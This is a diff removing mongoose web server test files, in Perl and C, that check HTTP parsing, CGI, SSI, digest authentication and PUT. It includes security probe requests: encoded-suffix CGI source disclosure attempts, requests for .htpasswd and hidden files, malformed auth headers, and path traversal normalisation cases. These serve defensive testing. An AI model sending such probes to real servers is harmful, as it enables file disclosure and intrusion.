my $f2 = '';
|
||||
foreach (0..123456) { $f2 .= chr(int(rand() * 255)); }
|
||||
write_file("$root/$binary_file", $f2);
|
||||
my $f1 = req("GET /$binary_file HTTP/1.0\r\n\n");
|
||||
while ($f1 =~ /^.*\r\n/) { $f1 =~ s/^.*\r\n// }
|
||||
$f1 eq $f2 or fail("Integrity check for downloaded binary file");
|
||||
|
||||
my $range_request = "GET /hello.txt HTTP/1.1\nConnection: close\n".
|
||||
"Range: bytes=3-5\r\n\r\n";
|
||||
o($range_request, '206 Partial Content', 'Range: 206 status code');
|
||||
o($range_request, 'Content-Length: 3\s', 'Range: Content-Length');
|
||||
o($range_request, 'Content-Range: bytes 3-5/17', 'Range: Content-Range');
|
||||
o($range_request, '\nple$', 'Range: body content');
|
||||
|
||||
# Test directory sorting. Sleep between file creation for 1.1 seconds,
|
||||
# to make sure modification time are different.
|
||||
mkdir "$test_dir/sort";
|
||||
write_file("$test_dir/sort/11", 'xx');
|
||||
select undef, undef, undef, 1.1;
|
||||
write_file("$test_dir/sort/aa", 'xxxx');
|
||||
select undef, undef, undef, 1.1;
|
||||
write_file("$test_dir/sort/bb", 'xxx');
|
||||
select undef, undef, undef, 1.1;
|
||||
write_file("$test_dir/sort/22", 'x');
|
||||
|
||||
o("GET /$test_dir_uri/sort/?n HTTP/1.0\n\n",
|
||||
'200 OK.+>11<.+>22<.+>aa<.+>bb<',
|
||||
'Directory listing (name, ascending)');
|
||||
o("GET /$test_dir_uri/sort/?nd HTTP/1.0\n\n",
|
||||
'200 OK.+>bb<.+>aa<.+>22<.+>11<',
|
||||
'Directory listing (name, descending)');
|
||||
o("GET /$test_dir_uri/sort/?s HTTP/1.0\n\n",
|
||||
'200 OK.+>22<.+>11<.+>bb<.+>aa<',
|
||||
'Directory listing (size, ascending)');
|
||||
o("GET /$test_dir_uri/sort/?sd HTTP/1.0\n\n",
|
||||
'200 OK.+>aa<.+>bb<.+>11<.+>22<',
|
||||
'Directory listing (size, descending)');
|
||||
o("GET /$test_dir_uri/sort/?d HTTP/1.0\n\n",
|
||||
'200 OK.+>11<.+>aa<.+>bb<.+>22<',
|
||||
'Directory listing (modification time, ascending)');
|
||||
o("GET /$test_dir_uri/sort/?dd HTTP/1.0\n\n",
|
||||
'200 OK.+>22<.+>bb<.+>aa<.+>11<',
|
||||
'Directory listing (modification time, descending)');
|
||||
|
||||
unless (scalar(@ARGV) > 0 and $ARGV[0] eq "basic_tests") {
|
||||
# Check that .htpasswd file existence trigger authorization
|
||||
write_file("$root/.htpasswd", 'user with space, " and comma:mydomain.com:5deda12442309cbdcdffc6b2737a894f');
|
||||
o("GET /hello.txt HTTP/1.1\n\n", '401 Unauthorized',
|
||||
'.htpasswd - triggering auth on file request');
|
||||
o("GET / HTTP/1.1\n\n", '401 Unauthorized',
|
||||
'.htpasswd - triggering auth on directory request');
|
||||
|
||||
# Test various funky things in an authentication header.
|
||||
o("GET /hello.txt HTTP/1.0\nAuthorization: Digest eq== empty=\"\", empty2=, quoted=\"blah foo bar, baz\\\"\\\" more\\\"\", unterminatedquoted=\" doesn't stop\n\n",
|
||||
'401 Unauthorized', 'weird auth values should not cause crashes');
|
||||
my $auth_header = "Digest username=\"user with space, \\\" and comma\", ".
|
||||
"realm=\"mydomain.com\", nonce=\"1291376417\", uri=\"/\",".
|
||||
"response=\"e8dec0c2a1a0c8a7e9a97b4b5ea6a6e6\", qop=auth, nc=00000001, cnonce=\"1a49b53a47a66e82\"";
|
||||
o("GET /hello.txt HTTP/1.0\nAuthorization: $auth_header\n\n", 'HTTP/1.1 200 OK', 'GET regular file with auth');
|
||||
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(.htpasswd)))*$',
|
||||
'.htpasswd is hidden from the directory list');
|
||||
o("GET / HTTP/1.0\nAuthorization: $auth_header\n\n", '^(.(?!(exploit.pl)))*$',
|
||||
'hidden file is hidden from the directory list');
|
||||
o("GET /.htpasswd HTTP/1.0\nAuthorization: $auth_header\n\n",
|
||||
'^HTTP/1.1 404 ', '.htpasswd must not be shown');
|
||||
o("GET /exploit.pl HTTP/1.0\nAuthorization: $auth_header\n\n",
|
||||
'^HTTP/1.1 404', 'hidden files must not be shown');
|
||||
unlink "$root/.htpasswd";
|
||||
|
||||
|
||||
o("GET /dir%20with%20spaces/hello.cgi HTTP/1.0\n\r\n",
|
||||
'HTTP/1.1 200 OK.+hello', 'CGI script with spaces in path');
|
||||
o("GET /env.cgi HTTP/1.0\n\r\n", 'HTTP/1.1 200 OK', 'GET CGI file');
|
||||
o("GET /bad2.cgi HTTP/1.0\n\n", "HTTP/1.1 123 Please pass me to the client\r",
|
||||
'CGI Status code text');
|
||||
o("GET /sh.cgi HTTP/1.0\n\r\n", 'shell script CGI',
|
||||
'GET sh CGI file') unless on_windows();
|
||||
o("GET /env.cgi?var=HELLO HTTP/1.0\n\n", 'QUERY_STRING=var=HELLO',
|
||||
'QUERY_STRING wrong');
|
||||
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
|
||||
'var=HELLO', 'CGI POST wrong');
|
||||
o("POST /env.cgi HTTP/1.0\r\nContent-Length: 9\r\n\r\nvar=HELLO",
|
||||
'\x0aCONTENT_LENGTH=9', 'Content-Length not being passed to CGI');
|
||||
o("GET /env.cgi HTTP/1.0\nMy-HdR: abc\n\r\n",
|
||||
'HTTP_MY_HDR=abc', 'HTTP_* env');
|
||||
o("GET /env.cgi HTTP/1.0\n\r\nSOME_TRAILING_DATA_HERE",
|
||||
'HTTP/1.1 200 OK', 'GET CGI with trailing data');
|
||||
|
||||
o("GET /env.cgi%20 HTTP/1.0\n\r\n",
|
||||
'HTTP/1.1 404', 'CGI Win32 code disclosure (%20)');
|
||||
o("GET /env.cgi%ff HTTP/1.0\n\r\n",
|
||||
'HTTP/1.1 404', 'CGI Win32 code disclosure (%ff)');
|
||||
o("GET /env.cgi%2e HTTP/1.0\n\r\n",
|
||||
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2e)');
|
||||
o("GET /env.cgi%2b HTTP/1.0\n\r\n",
|
||||
'HTTP/1.1 404', 'CGI Win32 code disclosure (%2b)');
|
||||
o("GET /env.cgi HTTP/1.0\n\r\n", '\nHTTPS=off\n', 'CGI HTTPS');
|
||||
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_FOO=foo\n', '-cgi_env 1');
|
||||
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAR=bar\n', '-cgi_env 2');
|
||||
o("GET /env.cgi HTTP/1.0\n\r\n", '\nCGI_BAZ=baz\n', '-cgi_env 3');
|
||||
o("GET /env.cgi/a/b/98 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/98\n', 'PATH_INFO');
|
||||
o("GET /env.cgi/a/b/9 HTTP/1.0\n\r\n", 'PATH_INFO=/a/b/9\n', 'PATH_INFO');
|
||||
o("GET /env.cgi/foo/bar?a=b HTTP/1.0\n\n",
|
||||
'SCRIPT_NAME=/env.cgi\s', 'SCRIPT_NAME for CGI with PATH_INFO');
|
||||
|
||||
# Check that CGI's current directory is set to script's directory
|
||||
my $copy_cmd = on_windows() ? 'copy' : 'cp';
|
||||
system("$copy_cmd $root" . $dir_separator . "env.cgi $test_dir" .
|
||||
$dir_separator . 'env.cgi');
|
||||
o("GET /$test_dir_uri/env.cgi HTTP/1.0\n\n",
|
||||
"CURRENT_DIR=.*$root/$test_dir_uri", "CGI chdir()");
|
||||
|
||||
# SSI tests
|
||||
o("GET /ssi1.shtml HTTP/1.0\n\n",
|
||||
'ssi_begin.+CFLAGS.+ssi_end', 'SSI #include file=');
|
||||
o("GET /ssi2.shtml HTTP/1.0\n\n",
|
||||
'ssi_begin.+Unit test.+ssi_end', 'SSI #include virtual=');
|
||||
my $ssi_exec = on_windows() ? 'ssi4.shtml' : 'ssi3.shtml';
|
||||
o("GET /$ssi_exec HTTP/1.0\n\n",
|
||||
'ssi_begin.+Makefile.+ssi_end', 'SSI #exec');
|
||||
my $abs_path = on_windows() ? 'ssi6.shtml' : 'ssi5.shtml';
|
||||
my $word = on_windows() ? 'boot loader' : 'root';
|
||||
o("GET /$abs_path HTTP/1.0\n\n",
|
||||
"ssi_begin.+$word.+ssi_end", 'SSI #include abspath');
|
||||
o("GET /ssi7.shtml HTTP/1.0\n\n",
|
||||
'ssi_begin.+Unit test.+ssi_end', 'SSI #include "..."');
|
||||
o("GET /ssi8.shtml HTTP/1.0\n\n",
|
||||
'ssi_begin.+CFLAGS.+ssi_end', 'SSI nested #includes');
|
||||
|
||||
# Manipulate the passwords file
|
||||
my $path = 'test_htpasswd';
|
||||
unlink $path;
|
||||
system("$mongoose_exe -A $path a b c") == 0
|
||||
or fail("Cannot add user in a passwd file");
|
||||
system("$mongoose_exe -A $path a b c2") == 0
|
||||
or fail("Cannot edit user in a passwd file");
|
||||
my $content = read_file($path);
|
||||
$content =~ /^b:a:\w+$/gs or fail("Bad content of the passwd file");
|
||||
unlink $path;
|
||||
|
||||
do_PUT_test();
|
||||
kill_spawned_child();
|
||||
}
|
||||
|
||||
sub do_PUT_test {
|
||||
# This only works because mongoose currently doesn't look at the nonce.
|
||||
# It should really be rejected...
|
||||
my $auth_header = "Authorization: Digest username=guest, ".
|
||||
"realm=mydomain.com, nonce=1145872809, uri=/put.txt, ".
|
||||
"response=896327350763836180c61d87578037d9, qop=auth, ".
|
||||
"nc=00000002, cnonce=53eddd3be4e26a98\n";
|
||||
|
||||
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 7\n$auth_header\n1234567",
|
||||
"HTTP/1.1 201 OK", 'PUT file, status 201');
|
||||
fail("PUT content mismatch")
|
||||
unless read_file("$root/a/put.txt") eq '1234567';
|
||||
o("PUT /a/put.txt HTTP/1.0\nContent-Length: 4\n$auth_header\nabcd",
|
||||
"HTTP/1.1 200 OK", 'PUT file, status 200');
|
||||
fail("PUT content mismatch")
|
||||
unless read_file("$root/a/put.txt") eq 'abcd';
|
||||
o("PUT /a/put.txt HTTP/1.0\n$auth_header\nabcd",
|
||||
"HTTP/1.1 411 Length Required", 'PUT 411 error');
|
||||
o("PUT /a/put.txt HTTP/1.0\nExpect: blah\nContent-Length: 1\n".
|
||||
"$auth_header\nabcd",
|
||||
"HTTP/1.1 417 Expectation Failed", 'PUT 417 error');
|
||||
o("PUT /a/put.txt HTTP/1.0\nExpect: 100-continue\nContent-Length: 4\n".
|
||||
"$auth_header\nabcd",
|
||||
"HTTP/1.1 100 Continue.+HTTP/1.1 200", 'PUT 100-Continue');
|
||||
}
|
||||
|
||||
print "SUCCESS! All tests passed.\n";
|
||||
@@ -1,12 +0,0 @@
|
||||
#!/usr/bin/env perl
|
||||
|
||||
# Make stdout unbuffered
|
||||
use FileHandle;
|
||||
STDOUT->autoflush(1);
|
||||
|
||||
# This script outputs some content, then sleeps for 5 seconds, then exits.
|
||||
# Web server should return the content immediately after it is sent,
|
||||
# not waiting until the script exits.
|
||||
print "Content-Type: text/html\r\n\r\n";
|
||||
print "Some data";
|
||||
sleep 3;
|
||||
@@ -1,697 +0,0 @@
|
||||
// Unit test for the mongoose web server.
|
||||
|
||||
#define USE_WEBSOCKET
|
||||
#define USE_LUA
|
||||
|
||||
#ifndef _WIN32
|
||||
#define USE_IPV6
|
||||
#endif
|
||||
|
||||
// USE_* definitions must be made before #include "mongoose.c" !
|
||||
#include "src/core.c"
|
||||
|
||||
#define FAIL(str, line) do { \
|
||||
printf("Fail on line %d: [%s]\n", line, str); \
|
||||
return str; \
|
||||
} while (0)
|
||||
|
||||
#define ASSERT(expr) do { \
|
||||
static_num_tests++; \
|
||||
if (!(expr)) FAIL(#expr, __LINE__); \
|
||||
} while (0)
|
||||
|
||||
#define RUN_TEST(test) do { const char *msg = test(); \
|
||||
if (msg) return msg; } while (0)
|
||||
|
||||
#define HTTP_PORT "45772"
|
||||
#define LISTENING_ADDR "127.0.0.1:" HTTP_PORT
|
||||
|
||||
static int static_num_tests = 0;
|
||||
//static const char *fetch_data = "hello world!\n";
|
||||
//static const char *upload_ok_message = "upload successful";
|
||||
|
||||
static const char *test_parse_http_message() {
|
||||
struct mg_connection ri;
|
||||
char req1[] = "GET / HTTP/1.1\r\n\r\n";
|
||||
char req2[] = "BLAH / HTTP/1.1\r\n\r\n";
|
||||
char req3[] = "GET / HTTP/1.1\r\nBah\r\n";
|
||||
char req4[] = "GET / HTTP/1.1\r\nA: foo bar\r\nB: bar\r\nbaz\r\n\r\n";
|
||||
char req5[] = "GET / HTTP/1.1\r\n\r\n";
|
||||
char req6[] = "G";
|
||||
char req7[] = " blah ";
|
||||
char req8[] = " HTTP/1.1 200 OK \n\n";
|
||||
char req9[] = "HTTP/1.1 200 OK\r\nConnection: close\r\n\r\n";
|
||||
|
||||
ASSERT(get_request_len("\r\n", 3) == -1);
|
||||
ASSERT(get_request_len("\r\n", 2) == 0);
|
||||
ASSERT(get_request_len("GET", 3) == 0);
|
||||
ASSERT(get_request_len("\n\n", 2) == 2);
|
||||
ASSERT(get_request_len("\n\r\n", 3) == 3);
|
||||
ASSERT(get_request_len("\xdd\xdd", 2) == 0);
|
||||
ASSERT(get_request_len("\xdd\x03", 2) == -1);
|
||||
ASSERT(get_request_len(req3, sizeof(req3) - 1) == 0);
|
||||
ASSERT(get_request_len(req6, sizeof(req6) - 1) == 0);
|
||||
ASSERT(get_request_len(req7, sizeof(req7) - 1) == 0);
|
||||
|
||||
ASSERT(parse_http_message(req9, sizeof(req9) - 1, &ri) == sizeof(req9) - 1);
|
||||
ASSERT(ri.num_headers == 1);
|
||||
|
||||
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &ri) == sizeof(req1) - 1);
|
||||
ASSERT(strcmp(ri.http_version, "1.1") == 0);
|
||||
ASSERT(ri.num_headers == 0);
|
||||
|
||||
ASSERT(parse_http_message(req2, sizeof(req2) - 1, &ri) == -1);
|
||||
ASSERT(parse_http_message(req6, 0, &ri) == -1);
|
||||
ASSERT(parse_http_message(req8, sizeof(req8) - 1, &ri) == sizeof(req8) - 1);
|
||||
|
||||
// TODO(lsm): Fix this. Header value may span multiple lines.
|
||||
ASSERT(parse_http_message(req4, sizeof(req4) - 1, &ri) == sizeof(req4) - 1);
|
||||
ASSERT(strcmp(ri.http_version, "1.1") == 0);
|
||||
ASSERT(ri.num_headers == 3);
|
||||
ASSERT(strcmp(ri.http_headers[0].name, "A") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[0].value, "foo bar") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[1].name, "B") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[1].value, "bar") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[2].name, "baz\r\n\r") == 0);
|
||||
ASSERT(strcmp(ri.http_headers[2].value, "") == 0);
|
||||
|
||||
ASSERT(parse_http_message(req5, sizeof(req5) - 1, &ri) == sizeof(req5) - 1);
|
||||
ASSERT(strcmp(ri.request_method, "GET") == 0);
|
||||
ASSERT(strcmp(ri.http_version, "1.1") == 0);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_should_keep_alive(void) {
|
||||
struct mg_connection conn;
|
||||
char req1[] = "GET / HTTP/1.1\r\n\r\n";
|
||||
char req2[] = "GET / HTTP/1.0\r\n\r\n";
|
||||
char req3[] = "GET / HTTP/1.1\r\nConnection: close\r\n\r\n";
|
||||
char req4[] = "GET / HTTP/1.1\r\nConnection: keep-alive\r\n\r\n";
|
||||
|
||||
memset(&conn, 0, sizeof(conn));
|
||||
ASSERT(parse_http_message(req1, sizeof(req1) - 1, &conn) == sizeof(req1) - 1);
|
||||
ASSERT(should_keep_alive(&conn) != 0);
|
||||
|
||||
parse_http_message(req2, sizeof(req2) - 1, &conn);
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
|
||||
parse_http_message(req3, sizeof(req3) - 1, &conn);
|
||||
ASSERT(should_keep_alive(&conn) == 0);
|
||||
|
||||
parse_http_message(req4, sizeof(req4) - 1, &conn);
|
||||
ASSERT(should_keep_alive(&conn) != 0);
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_match_prefix(void) {
|
||||
ASSERT(match_prefix("/api", 4, "/api") == 4);
|
||||
ASSERT(match_prefix("/a/", 3, "/a/b/c") == 3);
|
||||
ASSERT(match_prefix("/a/", 3, "/ab/c") == -1);
|
||||
ASSERT(match_prefix("/*/", 3, "/ab/c") == 4);
|
||||
ASSERT(match_prefix("**", 2, "/a/b/c") == 6);
|
||||
ASSERT(match_prefix("/*", 2, "/a/b/c") == 2);
|
||||
ASSERT(match_prefix("*/*", 3, "/a/b/c") == 2);
|
||||
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
|
||||
ASSERT(match_prefix("**.foo|**.bar", 13, "a.bar") == 5);
|
||||
ASSERT(match_prefix("a|b|cd", 6, "cdef") == 2);
|
||||
ASSERT(match_prefix("a|b|c?", 6, "cdef") == 2);
|
||||
ASSERT(match_prefix("a|?|cd", 6, "cdef") == 1);
|
||||
ASSERT(match_prefix("/a/**.cgi", 9, "/foo/bar/x.cgi") == -1);
|
||||
ASSERT(match_prefix("/a/**.cgi", 9, "/a/bar/x.cgi") == 12);
|
||||
ASSERT(match_prefix("**/", 3, "/a/b/c") == 5);
|
||||
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
|
||||
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
|
||||
ASSERT(match_prefix("$", 1, "") == 0);
|
||||
ASSERT(match_prefix("$", 1, "x") == -1);
|
||||
ASSERT(match_prefix("*$", 2, "x") == 1);
|
||||
ASSERT(match_prefix("/$", 2, "/") == 1);
|
||||
ASSERT(match_prefix("**/$", 4, "/a/b/c") == -1);
|
||||
ASSERT(match_prefix("**/$", 4, "/a/b/") == 5);
|
||||
ASSERT(match_prefix("*", 1, "/hello/") == 0);
|
||||
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b/") == -1);
|
||||
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/b.b") == 6);
|
||||
ASSERT(match_prefix("**.a$|**.b$", 11, "/a/B.A") == 6);
|
||||
ASSERT(match_prefix("**o$", 4, "HELLO") == 5);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static const char *test_remove_double_dots() {
|
||||
struct { char before[20], after[20]; } data[] = {
|
||||
{"////a", "/a"},
|
||||
{"/.....", "/."},
|
||||
{"/......", "/"},
|
||||
{"...", "..."},
|
||||
{"/...///", "/./"},
|
||||
{"/a...///", "/a.../"},
|
||||
{"/.x", "/.x"},
|
||||
{"/\\", "/"},
|
||||
{"/a\\", "/a\\"},
|
||||
{"/a\\\\...", "/a\\."},
|
||||
};
|
||||
size_t i;
|
||||
|
||||
for (i = 0; i < ARRAY_SIZE(data); i++) {
|
||||
remove_double_dots_and_double_slashes(data[i].before);
|
||||
ASSERT(strcmp(data[i].before, data[i].after) == 0);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
#if 0
|
||||
static char *read_file(const char *path, int *size) {
|
||||
FILE *fp;
|
||||
struct stat st;
|
||||
char *data = NULL;
|
||||
if ((fp = fopen(path, "rb")) != NULL && !fstat(fileno(fp), &st)) {
|
||||
*size = (int) st.st_size;
|
||||
ASSERT((data = malloc(*size)) != NULL);
|
||||
ASSERT(fread(data, 1, *size, fp) == (size_t) *size);
|
||||
fclose(fp);
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
static void test_upload(struct mg_connection *conn, const char *orig_path,
|
||||
const char *uploaded_path) {
|
||||
int len1, len2;
|
||||
char path[500], *p1, *p2;
|
||||
FILE *fp;
|
||||
|
||||
ASSERT((fp = mg_upload(conn, ".", path, sizeof(path))) != NULL);
|
||||
fclose(fp);
|
||||
ASSERT(!strcmp(path, uploaded_path));
|
||||
ASSERT((p1 = read_file(orig_path, &len1)) != NULL);
|
||||
ASSERT((p2 = read_file(path, &len2)) != NULL);
|
||||
ASSERT(len1 == len2);
|
||||
ASSERT(memcmp(p1, p2, len1) == 0);
|
||||
free(p1), free(p2);
|
||||
remove(path);
|
||||
}
|
||||
|
||||
static int event_handler(struct mg_event *event) {
|
||||
struct mg_request_info *ri = event->request_info;
|
||||
|
||||
if (event->type == MG_REQUEST_BEGIN) {
|
||||
if (!strcmp(ri->uri, "/data")) {
|
||||
mg_printf(event->conn, "HTTP/1.1 200 OK\r\n"
|
||||
"Content-Type: text/plain\r\n\r\n"
|
||||
"%s", fetch_data);
|
||||
close_connection(event->conn);
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (!strcmp(ri->uri, "/zerolen")) {
|
||||
char buf[100];
|
||||
mg_printf(event->conn, "%s",
|
||||
"HTTP/1.0 200 OK\r\nContent-Length: 2\r\n\r\nok");
|
||||
printf("[%d]\n", mg_read(event->conn, buf, sizeof(buf)));
|
||||
ASSERT(mg_read(event->conn, buf, sizeof(buf)) == 0);
|
||||
return 1;
|
||||
}
|
||||
|
||||
if (!strcmp(ri->uri, "/upload")) {
|
||||
test_upload(event->conn, "lua_5.2.1.h", "./f1.txt");
|
||||
test_upload(event->conn, "lsqlite3.c", "./f2.txt");
|
||||
ASSERT(mg_upload(event->conn, ".", NULL, 0) == NULL);
|
||||
|
||||
mg_printf(event->conn, "HTTP/1.0 200 OK\r\n"
|
||||
"Content-Type: text/plain\r\n\r\n"
|
||||
"%s", upload_ok_message);
|
||||
close_connection(event->conn);
|
||||
return 1;
|
||||
}
|
||||
} else if (event->type == MG_EVENT_LOG) {
|
||||
printf("%s\n", (const char *) event->event_param);
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static const char *OPTIONS[] = {
|
||||
"document_root", ".",
|
||||
"listening_ports", LISTENING_ADDR,
|
||||
"enable_keep_alive", "yes",
|
||||
"ssl_certificate", "ssl_cert.pem",
|
||||
NULL,
|
||||
};
|
||||
|
||||
static char *read_conn(struct mg_connection *conn, int *size) {
|
||||
char buf[MG_BUF_LEN], *data = NULL;
|
||||
int len;
|
||||
*size = 0;
|
||||
while ((len = mg_read(conn, buf, sizeof(buf))) > 0) {
|
||||
*size += len;
|
||||
ASSERT((data = realloc(data, *size)) != NULL);
|
||||
memcpy(data + *size - len, buf, len);
|
||||
}
|
||||
return data;
|
||||
}
|
||||
|
||||
static void test_mg_download(void) {
|
||||
char *p1, *p2, ebuf[100];
|
||||
int len1, len2, port = atoi(HTTPS_PORT);
|
||||
struct mg_connection *conn;
|
||||
struct mg_context *ctx;
|
||||
|
||||
ASSERT((ctx = mg_start(OPTIONS, event_handler, NULL)) != NULL);
|
||||
|
||||
ASSERT(mg_download(NULL, port, 0, ebuf, sizeof(ebuf), "%s", "") == NULL);
|
||||
ASSERT(mg_download("localhost", 0, 0, ebuf, sizeof(ebuf), "%s", "") == NULL);
|
||||
ASSERT(mg_download("localhost", port, 1, ebuf, sizeof(ebuf),
|
||||
"%s", "") == NULL);
|
||||
|
||||
// Fetch nonexistent file, should see 404
|
||||
ASSERT((conn = mg_download("localhost", port, 1, ebuf, sizeof(ebuf), "%s",
|
||||
"GET /gimbec HTTP/1.0\r\n\r\n")) != NULL);
|
||||
ASSERT(strcmp(conn->request_info.uri, "404") == 0);
|
||||
mg_close_connection(conn);
|
||||
|
||||
ASSERT((conn = mg_download("google.com", 443, 1, ebuf, sizeof(ebuf), "%s",
|
||||
"GET / HTTP/1.0\r\n\r\n")) != NULL);
|
||||
mg_close_connection(conn);
|
||||
|
||||
// POST with "Content-Length: 0", must not block
|
||||
ASSERT((conn = mg_download("localhost", atoi(HTTPS_PORT), 1,
|
||||
ebuf, sizeof(ebuf), "%s",
|
||||
"POST /zerolen HTTP/1.1\r\n"
|
||||
"Content-Lengh: 0\r\n\r\n ")) != NULL);
|
||||
ASSERT((p1 = read_conn(conn, &len1)) != NULL);
|
||||
ASSERT(len1 = 2);
|
||||
ASSERT(memcmp(p1, "ok", 2) == 0);
|
||||
mg_close_connection(conn);
|
||||
|
||||
// Fetch main.c, should succeed
|
||||
ASSERT((conn = mg_download("localhost", port, 1, ebuf, sizeof(ebuf), "%s",
|
||||
"GET /main.c HTTP/1.0\r\n\r\n")) != NULL);
|
||||
ASSERT(!strcmp(conn->request_info.uri, "200"));
|
||||
ASSERT((p1 = read_conn(conn, &len1)) != NULL);
|
||||
ASSERT((p2 = read_file("main.c", &len2)) != NULL);
|
||||
ASSERT(len1 == len2);
|
||||
ASSERT(memcmp(p1, p2, len1) == 0);
|
||||
free(p1), free(p2);
|
||||
mg_close_connection(conn);
|
||||
|
||||
// Test SSL redirect, IP address
|
||||
ASSERT((conn = mg_download("localhost", atoi(HTTP_PORT), 0,
|
||||
ebuf, sizeof(ebuf), "%s",
|
||||
"GET /foo HTTP/1.1\r\n\r\n")) != NULL);
|
||||
ASSERT(strcmp(conn->request_info.uri, "302") == 0);
|
||||
ASSERT(strcmp(mg_get_header(conn, "Location"),
|
||||
"https://127.0.0.1:" HTTPS_PORT "/foo") == 0);
|
||||
mg_close_connection(conn);
|
||||
|
||||
// Test SSL redirect, Host:
|
||||
ASSERT((conn = mg_download("localhost", atoi(HTTP_PORT), 0,
|
||||
ebuf, sizeof(ebuf), "%s",
|
||||
"GET /foo HTTP/1.1\r\nHost: a.b:77\n\n")) != NULL);
|
||||
ASSERT(strcmp(conn->request_info.uri, "302") == 0);
|
||||
ASSERT(strcmp(mg_get_header(conn, "Location"),
|
||||
"https://a.b:" HTTPS_PORT "/foo") == 0);
|
||||
mg_close_connection(conn);
|
||||
|
||||
mg_stop(ctx);
|
||||
}
|
||||
|
||||
static int alloc_printf(char **buf, size_t size, char *fmt, ...) {
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
return alloc_vprintf(buf, size, fmt, ap);
|
||||
}
|
||||
|
||||
static void test_mg_upload(void) {
|
||||
static const char *boundary = "OOO___MY_BOUNDARY___OOO";
|
||||
struct mg_context *ctx;
|
||||
struct mg_connection *conn;
|
||||
char ebuf[100], buf[20], *file_data, *file2_data, *post_data;
|
||||
int file_len, file2_len, post_data_len;
|
||||
|
||||
ASSERT((ctx = mg_start(OPTIONS, event_handler, NULL)) != NULL);
|
||||
|
||||
// Upload two files
|
||||
ASSERT((file_data = read_file("lua_5.2.1.h", &file_len)) != NULL);
|
||||
ASSERT((file2_data = read_file("lsqlite3.c", &file2_len)) != NULL);
|
||||
post_data = NULL;
|
||||
post_data_len = alloc_printf(&post_data, 0,
|
||||
// First file
|
||||
"--%s\r\n" "Content-Disposition: form-data; " "name=\"file\"; "
|
||||
"filename=\"%s\"\r\n\r\n" "%.*s\r\n"
|
||||
// Second file
|
||||
"--%s\r\n" "Content-Disposition: form-data; " "name=\"file\"; "
|
||||
"filename=\"%s\"\r\n\r\n" "%.*s\r\n"
|
||||
// Final boundary
|
||||
"--%s--\r\n",
|
||||
boundary, "f1.txt", file_len, file_data, boundary, "f2.txt",
|
||||
file2_len, file2_data, boundary);
|
||||
ASSERT(post_data_len > 0);
|
||||
ASSERT((conn = mg_download("localhost", atoi(HTTPS_PORT), 1,
|
||||
ebuf, sizeof(ebuf),
|
||||
"POST /upload HTTP/1.1\r\n"
|
||||
"Content-Length: %d\r\n"
|
||||
"Content-Type: multipart/form-data; "
|
||||
"boundary=%s\r\n\r\n"
|
||||
"%.*s", post_data_len, boundary,
|
||||
post_data_len, post_data)) != NULL);
|
||||
ASSERT(mg_read(conn, buf, sizeof(buf)) == (int) strlen(upload_ok_message));
|
||||
ASSERT(memcmp(buf, upload_ok_message, strlen(upload_ok_message)) == 0);
|
||||
mg_close_connection(conn);
|
||||
|
||||
mg_stop(ctx);
|
||||
}
|
||||
|
||||
static void test_mg_get_var(void) {
|
||||
static const char *post[] = {
|
||||
"a=1&&b=2&d&=&c=3%20&e=",
|
||||
"q=&st=2012%2F11%2F13+17%3A05&et=&team_id=",
|
||||
NULL
|
||||
};
|
||||
char buf[20];
|
||||
|
||||
ASSERT(mg_get_var(post[0], strlen(post[0]), "a", buf, sizeof(buf)) == 1);
|
||||
ASSERT(buf[0] == '1' && buf[1] == '\0');
|
||||
ASSERT(mg_get_var(post[0], strlen(post[0]), "b", buf, sizeof(buf)) == 1);
|
||||
ASSERT(buf[0] == '2' && buf[1] == '\0');
|
||||
ASSERT(mg_get_var(post[0], strlen(post[0]), "c", buf, sizeof(buf)) == 2);
|
||||
ASSERT(buf[0] == '3' && buf[1] == ' ' && buf[2] == '\0');
|
||||
ASSERT(mg_get_var(post[0], strlen(post[0]), "e", buf, sizeof(buf)) == 0);
|
||||
ASSERT(buf[0] == '\0');
|
||||
|
||||
ASSERT(mg_get_var(post[0], strlen(post[0]), "d", buf, sizeof(buf)) == -1);
|
||||
ASSERT(mg_get_var(post[0], strlen(post[0]), "c", buf, 2) == -2);
|
||||
|
||||
ASSERT(mg_get_var(post[0], strlen(post[0]), "x", NULL, 10) == -2);
|
||||
ASSERT(mg_get_var(post[0], strlen(post[0]), "x", buf, 0) == -2);
|
||||
ASSERT(mg_get_var(post[1], strlen(post[1]), "st", buf, 16) == -2);
|
||||
ASSERT(mg_get_var(post[1], strlen(post[1]), "st", buf, 17) == 16);
|
||||
}
|
||||
|
||||
static void test_next_option(void) {
|
||||
const char *p, *list = "x/8,/y**=1;2k,z";
|
||||
struct vec a, b;
|
||||
int i;
|
||||
|
||||
ASSERT(next_option(NULL, &a, &b) == NULL);
|
||||
for (i = 0, p = list; (p = next_option(p, &a, &b)) != NULL; i++) {
|
||||
ASSERT(i != 0 || (a.ptr == list && a.len == 3 && b.len == 0));
|
||||
ASSERT(i != 1 || (a.ptr == list + 4 && a.len == 4 && b.ptr == list + 9 &&
|
||||
b.len == 4));
|
||||
|
||||
